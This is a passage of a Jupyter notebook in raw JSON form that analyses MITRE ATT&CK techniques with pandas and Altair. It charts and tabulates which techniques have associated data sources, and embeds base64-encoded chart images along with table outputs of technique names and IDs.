JAIAEBBCxBkpmCzJfkNXuMgK0JjinIAHCEgEAyAghYsoQzBZkv4RN6jIBNgMUUZAAsQkAgMQEELF/ymYLMl/PeHiNgvaSYggwgRQgI5CaAgOXLPwKWL+e9PUbAekkhYAGkCAGB3AQQsHz5R8Dy5by3xwhYLykELIAUISCQmwACli//CFi+nPf2GAHrJYWABZAiBARyE0DA8uUfAcuX894eI2C9pBCwAFKEgEBuAghYvvwjYPly3ttjBKyXFAIWQIoQEMhNAAHLl38ELF/Oe3uMgPWSQsACSBECArkJIGD58o+A5ct5b48RsF5SCFgAKUJAIDcBBCxf/hGwfDnv7TEC1ksKAQsgRQgI5CaAgOXLPwKWL+e9PUbAekkhYAGkCAGB3AQQsHz5R8Dy5by3xwhYLykELIAUISCQmwACli//CFi+nPf2GAHrJYWABZAiBARyE0DA8uUfAcuX894eI2C9pBCwAFKEgEBuAghYvvwjYPly3ttjBKyXFAIWQIoQEMhNAAHLl38ELF/Oe3uMgPWSQsACSBECArkJIGD58o+A5ct5b48RsF5SCFgAKUJAIDcBBCxf/hGwfDnv7TEC1ksKAQsgRQgI5CaAgOXLPwKWL+e9PUbAekkhYAGkCAGB3AQQsHz5R8Dy5by3xwhYLykELIAUISCQmwACli//CFi+nPf2GAHrJYWABZAiBARyE0DA8uUfAcuX894eI2C9pBCwAFKEgEBuAghYvvwjYPly3ttjBKyXFAIWQIoQEMhNAAHLl38ELF/Oe3uMgPWSQsACSBECArkJIGD58o+A5ct5b48RsF5SCFgAKUJAIDcBBCxf/hGwfDnv7TEC1ksKAQsgRQgI5CaAgOXLPwKWL+e9PUbAekkhYAGkCAGB3AQQsHz5R8Dy5by3xwhYLykELIAUISCQmwACli//CFi+nPf2GAHrJYWABZAiBARyE0DA8uUfAcuX894eI2C9pBCwAFKEgEBuAghYvvwjYPly3ttjBKyX1FkE7Pjx44uwPH369MGRI0dStZ2xzx5+Gfudsc/kOuCmPDFE1nE2EROHBxNY5MEd3IfFw504ceIAAZsvDVlvlhn7nbHPCNh895LaUtZxNj9pWmwJIGAB4wEBC4A4IUTWm2XGfmfsMwI24WYQdGjWcRaEjzBrEkDA1gTXnoaABUCcECLrzTJjvzP2GQGbcDMIOjTrOAvCR5g1CSBga4JDwJZbkxrMQYoAAAmGSURBVJT1Zpmx3xn7jIAF3JQnhsg6ziZi4vBgAghYANAvfelLv3zhhRd+IyAUISAAAQhAIBGB888//xcf/ehHz03UZbpaCCBgAUNhySnIjG1n7LOHacZ+Z+wzuQ64KU8MkXWcTcTE4cEEELAAoFnfvEv1e6l2sz4Yl+w3uQ64QU0MsRTzpdpdcnwv3fbEocHhwQQQsACg3DgCIE4IAe8JsIIOXYr5Uu0u/WDM2O+MfV56nAXdHgizJgEEbE1w7WncOAIgTggB7wmwgg5divlS7S79YMzY74x9XnqcBd0eCLMmAQRsTXDtaSdPnrzlpptu+lxAqMkhMradsc8eGBn7nbHP5HrybfDQJ2QdZ4cGR4BDEUDADoWPkyEAAQhAAAIQgMB0AgjYdGacAQEIQAACEIAABA5FAAE7FD5OhgAEIAABCEAAAtMJIGDTma064w2SHpR0kaTPSro9LvSvIp0n6QFJl0l6StJRSc9IeqekU+WoY+WYDTT/Uki3dbWkGyS9KOkzkm4bXE90223/Klt/ceFdkq6R9JikqyQ9H93wiv5tOteO/xFJtxTGq9rbRN4d89Jm/Jrr/YVrO643kXfHfFzSE00ea57vKz/fRN4d02s4v1reT20b7ftsE3kf5npV/yJzveo+sqp/kblu+3FPcx8ZG2fRuV7VtofbcJxNyXUPz7avkTw3cMsj5FwEELAY0sMb+NiDJKKlNm69cX+xSMLNkl4YPEgi2mxj1JvSP5Ub51ubh/XwQRLVtm9u10m6s8iIxe8RSReXBiykQ2mIaruNW/v3eUmfbh7W0bmuD4l6w3ZfWjmo7T0t6Q5JkXmvD8EqWsOc1rZ9TVXSIvLePmgvGQhYfVjVn/sa/YrKe314vrr5g8ZtPFuuw/17r6S/X5GHVhanjrthrv0HzVj/7g7O9dh9ZNW4jsy1Wdcx6z+Wal9/MPiDo17fBYG5XtW2x5Ff7Th7cmKuV/H8uCTnrvbVYyqS59TxxvFbRgABi0nIUBJ8Y/XNo765Y1p5eZTa5sOS/qxUg3xE+/CIbLdKph847p+rM5c3Dyr//sbmhhPVttv601L1c+WvykEVMVcAh/yj2q4PX1fa6r/vHQhhZK7N8N2SLFe1AvaKFe35oWUx8LVF5N0MLdSW+LYC1rKsY8tjuwpKRN7fUuT6A4MKWBVgX0OtjEXn/c8l/YukvylS/ZMyjv9P0t82ld3ngvM+lmsLWDue6r+jc93mtL53vibpw80fOrVtHxuZ67btVe+dOs78vvcfW5t4jw85e8zXceb3X/tH35T3eHtffp+k15Qqff2Dao57ZtT9jzgbJoCAxQAeE7BVD7GIFt3elyXdWoINH8T+cbT81b/y/CCqcjC8mbSVmoh+OoZvfm67TjHW6xjenNu/rKParu17erfeQMeEKDrXbVVpVXtfHxGwiLyvqiaa/4VlarKV/GH19zDsxyoJFn2L/SoBi8h72wcLmKX2u+U91Faah4ISkfexCuJYJXIT7/H2PjImmO7fjwcCFvUeHy5lqOOmHWdD2Y7IdX1P12UUr2vuZ3WcjQlYT66H9+UvFbG3QNZq31Boo3ge5n3HuQsRQMBiwM9ZAfMN2+Ll8rZL222VJqISMkakXeNQf+9K1PDmvKkKWFtNrDeyV27wr+Oxh0Hlbkn44EilIFJ4zyZg5rGpqsiYgLnPznXt41DAovLeCli7Jsj5qGuxLCLRVZGhgLX9qVNXngLfRN7Hpnkr6yopnsaKrnIP7yOr7mGbqIC1ktXeb4bjLLraWe+P9Q+J+t91jWMdZ15X6kp0XfbQUwE72325vq/muGfGPNWIsnECCFgM4rnWgI391diubdj0GjDTah8Yc60Ba9c6uTrhBdmR60NWjYJ2PU7l7A9XfGKDa8CGjP3fc60Bq9WB+tf+cGFy5TS2Nq5+YOAw76hV6+mGYlYrfVFr/4bv3+E6LFdLvO5vE2v/Vq2z81T/ptZ5jt1HVt3DzDpyvd9Qshx/1TiLXu831vZQAF1pnboGrJdnla9Inod5v3HuwgQQsLgETPnUzDqttguV6/l1WswiNNenIMceGPv6Kcgh87oQfNO53pZPQbafGqtjrjLYxCe5egQs+pNxVQC25VOQm/6k85nuI56OG/skd1Su2/dNHU/+1LbXmNX7VzvOLEJRn3Re1XZbuR5Ogfd8qr2XJ5+CXOept+fnIGB7nmC6BwEIQAACEIDA9hFAwLYvJ1wRBCAAAQhAAAJ7TgAB2/ME0z0IQAACEIAABLaPAAK2fTnhiiAAAQhAAAIQ2HMCCNieJ5juQQACEIAABCCwfQQQsO3LCVcEAQhAAAIQgMCeE0DA9jzBdA8CEIAABCAAge0jgIBtX064IghAAAIQgAAE9pwAArbnCaZ7EDgLgcNupu0vr/SGw942xptJ97z8Ba9fkXS0bLTccw7HQAACENgrAgjYXqWTzkBgMgFv9+Ktdupm51MDrCNgU9vgeAhAAAJ7RwAB27uU0iEIdBNotxqqm1375LoFy2ONmLVbudRjn5FkAfP2RK+SdJGkeo73JfU2Mn55387LJLVbZ7UVsLrxtuN+W9KflHbfI+mTpVL2XNkM3Hskej/O9nra6+zuPAdCAAIQWJIAArYkfdqGwPIE2gqYr8Z741lwLDq1uuX//mr5mf/dVr1ulHRFkaQqb1+Q9I0iYJYvt/HGst+fZc2vKmDnNz+ve//Vc1YJ2N0rrnPKNOjy5LkCCEAgNQEELHX66TwEXpKjOgVZJanF4urSLaV6dX2RsPb3rYy9oojRfY2A/XRQsXKMVsAubqpcrqi117NKwB4f2byZKhiDGQIQ2CkCCNhOpYuLhUA4gTEBc5XKFbD6qtN9mxKwdg3aFAEbXmc4HAJCAAIQ2BQBBGxTZIkLgd0gMDYFafm6s0whuoJVp/zq+qv2nOuaT0GuUwEzJa85s9wNpyDbaUuvAfNxDw2up71OT4/yggAEILATBBCwnUgTFwmBjRGoC/Hrwvq6JssN9i7Cr19DsY6A1WnH+yUNF+H7GrwmrS7g99qwKoHtBwiYftzY8CAwBCCwKQII2KbIEhcCEFiHwGG/FmOdNjkHAhCAwOwEELDZkdMgBCBwBgIIGMMDAhBIQQABS5FmOgkBCEAAAhCAwDYRQMC2KRtcCwQgAAEIQAACKQggYCnSTCchAAEIQAACENgmAgjYNmWDa4EABCAAAQhAIAUBBCxFmukkBCAAAQhAAALbRAAB26ZscC0QgAAEIAABCKQg8P+OyrF8VMOtPAAAAABJRU5ErkJggg==", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" } ], "source": [ "alt.Chart(data_3).mark_bar().encode(x='technique', y='Ind_DS', color='matrix').properties(height = 200)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "What are those mitre-attack techniques without data sources?" ] }, { "cell_type": "code", "execution_count": 14, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sourcesNum_TechCount_DSInd_DS
31mitre-attack[Linux, macOS][defense-evasion, persistence, command-and-con...Port KnockingT1205NaN1NaNWithout DS
67mitre-attack[macOS][defense-evasion]Gatekeeper BypassT1144NaN1NaNWithout DS
88mitre-attack[macOS][persistence]Re-opened ApplicationsT1164NaN1NaNWithout DS
103mitre-attack[Windows][discovery]Peripheral Device DiscoveryT1120NaN1NaNWithout DS
\n", "
" ], "text/plain": [ " matrix platform \\\n", "31 mitre-attack [Linux, macOS] \n", "67 mitre-attack [macOS] \n", "88 mitre-attack [macOS] \n", "103 mitre-attack [Windows] \n", "\n", " tactic \\\n", "31 [defense-evasion, persistence, command-and-con... \n", "67 [defense-evasion] \n", "88 [persistence] \n", "103 [discovery] \n", "\n", " technique technique_id data_sources Num_Tech \\\n", "31 Port Knocking T1205 NaN 1 \n", "67 Gatekeeper Bypass T1144 NaN 1 \n", "88 Re-opened Applications T1164 NaN 1 \n", "103 Peripheral Device Discovery T1120 NaN 1 \n", "\n", " Count_DS Ind_DS \n", "31 NaN Without DS \n", "67 NaN Without DS \n", "88 NaN Without DS \n", "103 NaN Without DS " ] }, "execution_count": 14, "metadata": {}, "output_type": "execute_result" } ], "source": [ "data[(data['matrix']=='mitre-attack') & (data['Ind_DS']=='Without DS')]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Techniques without data sources" ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [], "source": [ "techniques_without_data_sources=techniques[techniques.data_sources.isnull()].reset_index(drop=True)" ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sourcesNum_TechCount_DSInd_DS
0mitre-attack[Linux, macOS][defense-evasion, persistence, command-and-con...Port KnockingT1205NaN1NaNWithout DS
1mitre-attack[macOS][defense-evasion]Gatekeeper BypassT1144NaN1NaNWithout DS
2mitre-attack[macOS][persistence]Re-opened ApplicationsT1164NaN1NaNWithout DS
3mitre-attack[Windows][discovery]Peripheral Device DiscoveryT1120NaN1NaNWithout DS
4mitre-pre-attackNaN[technical-information-gathering]Spearphishing for InformationT1397NaN1NaNWithout DS
\n", "
" ], "text/plain": [ " matrix platform \\\n", "0 mitre-attack [Linux, macOS] \n", "1 mitre-attack [macOS] \n", "2 mitre-attack [macOS] \n", "3 mitre-attack [Windows] \n", "4 mitre-pre-attack NaN \n", "\n", " tactic \\\n", "0 [defense-evasion, persistence, command-and-con... \n", "1 [defense-evasion] \n", "2 [persistence] \n", "3 [discovery] \n", "4 [technical-information-gathering] \n", "\n", " technique technique_id data_sources Num_Tech \\\n", "0 Port Knocking T1205 NaN 1 \n", "1 Gatekeeper Bypass T1144 NaN 1 \n", "2 Re-opened Applications T1164 NaN 1 \n", "3 Peripheral Device Discovery T1120 NaN 1 \n", "4 Spearphishing for Information T1397 NaN 1 \n", "\n", " Count_DS Ind_DS \n", "0 NaN Without DS \n", "1 NaN Without DS \n", "2 NaN Without DS \n", "3 NaN Without DS \n", "4 NaN Without DS " ] }, "execution_count": 16, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_without_data_sources.head()" ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "There are 259 techniques without data sources ( 54% of 478 techniques)\n" ] } ], "source": [ "print('There are ',techniques['data_sources'].isna().sum(),' techniques without data sources (',\"{0:.0%}\".format(techniques['data_sources'].isna().sum()/len(techniques)),' of ',len(techniques),' techniques)')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Techniques With Data Sources" ] }, { "cell_type": "code", "execution_count": 18, "metadata": {}, "outputs": [], "source": [ "techniques_with_data_sources=techniques[techniques.data_sources.notnull()].reset_index(drop=True)" ] }, { "cell_type": "code", "execution_count": 19, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sourcesNum_TechCount_DSInd_DS
0mitre-attack[Linux, Windows, macOS][defense-evasion]File Permissions ModificationT1222[File monitoring, Process Monitoring, Process ...14.0With DS
1mitre-attack[Windows][defense-evasion, execution]XSL Script ProcessingT1220[Process Monitoring, Process command-line para...14.0With DS
2mitre-attack[Windows][defense-evasion, execution]Compiled HTML FileT1223[File monitoring, Process Monitoring, Process ...13.0With DS
3mitre-attack[Windows][defense-evasion]Template InjectionT1221[Anti-virus, Email gateway, Network intrusion ...14.0With DS
4mitre-attack[Windows][defense-evasion, persistence]BITS JobsT1197[API monitoring, Packet capture, Windows event...13.0With DS
\n", "
" ], "text/plain": [ " matrix platform tactic \\\n", "0 mitre-attack [Linux, Windows, macOS] [defense-evasion] \n", "1 mitre-attack [Windows] [defense-evasion, execution] \n", "2 mitre-attack [Windows] [defense-evasion, execution] \n", "3 mitre-attack [Windows] [defense-evasion] \n", "4 mitre-attack [Windows] [defense-evasion, persistence] \n", "\n", " technique technique_id \\\n", "0 File Permissions Modification T1222 \n", "1 XSL Script Processing T1220 \n", "2 Compiled HTML File T1223 \n", "3 Template Injection T1221 \n", "4 BITS Jobs T1197 \n", "\n", " data_sources Num_Tech Count_DS \\\n", "0 [File monitoring, Process Monitoring, Process ... 1 4.0 \n", "1 [Process Monitoring, Process command-line para... 1 4.0 \n", "2 [File monitoring, Process Monitoring, Process ... 1 3.0 \n", "3 [Anti-virus, Email gateway, Network intrusion ... 1 4.0 \n", "4 [API monitoring, Packet capture, Windows event... 1 3.0 \n", "\n", " Ind_DS \n", "0 With DS \n", "1 With DS \n", "2 With DS \n", "3 With DS \n", "4 With DS " ] }, "execution_count": 19, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_with_data_sources.head()" ] }, { "cell_type": "code", "execution_count": 20, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "There are 219 techniques with data sources ( 46% of 478 techniques)\n" ] } ], "source": [ "print('There are ',techniques['data_sources'].notna().sum(),' techniques with data sources (',\"{0:.0%}\".format(techniques['data_sources'].notna().sum()/len(techniques)),' of ',len(techniques),' techniques)')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 8. Grouping Techniques With Data Sources By Matrix" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create a graph to represent the number of techniques per matrix:" ] }, { "cell_type": "code", "execution_count": 21, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "datasets": { "data-46f5d5cc156e347d043ddafbbde9862a": [ { "Count of Techniques": 219, "Matrix": "mitre-attack" } ] }, "layer": [ { "data": { "name": "data-46f5d5cc156e347d043ddafbbde9862a" }, "encoding": { "x": { "field": "Count of Techniques", "type": "quantitative" }, "y": { "field": "Matrix", "type": "nominal" } }, "height": 100, "mark": "bar", "width": 300 }, { "data": { "name": "data-46f5d5cc156e347d043ddafbbde9862a" }, "encoding": { "text": { "field": "Count of Techniques", "type": "quantitative" }, "x": { "field": "Count of Techniques", "type": "quantitative" }, "y": { "field": "Matrix", "type": "nominal" } }, "height": 100, "mark": { "align": "center", "baseline": "middle", "dx": 10, "dy": 0, "type": "text" }, "width": 300 } ] }, "image/png": "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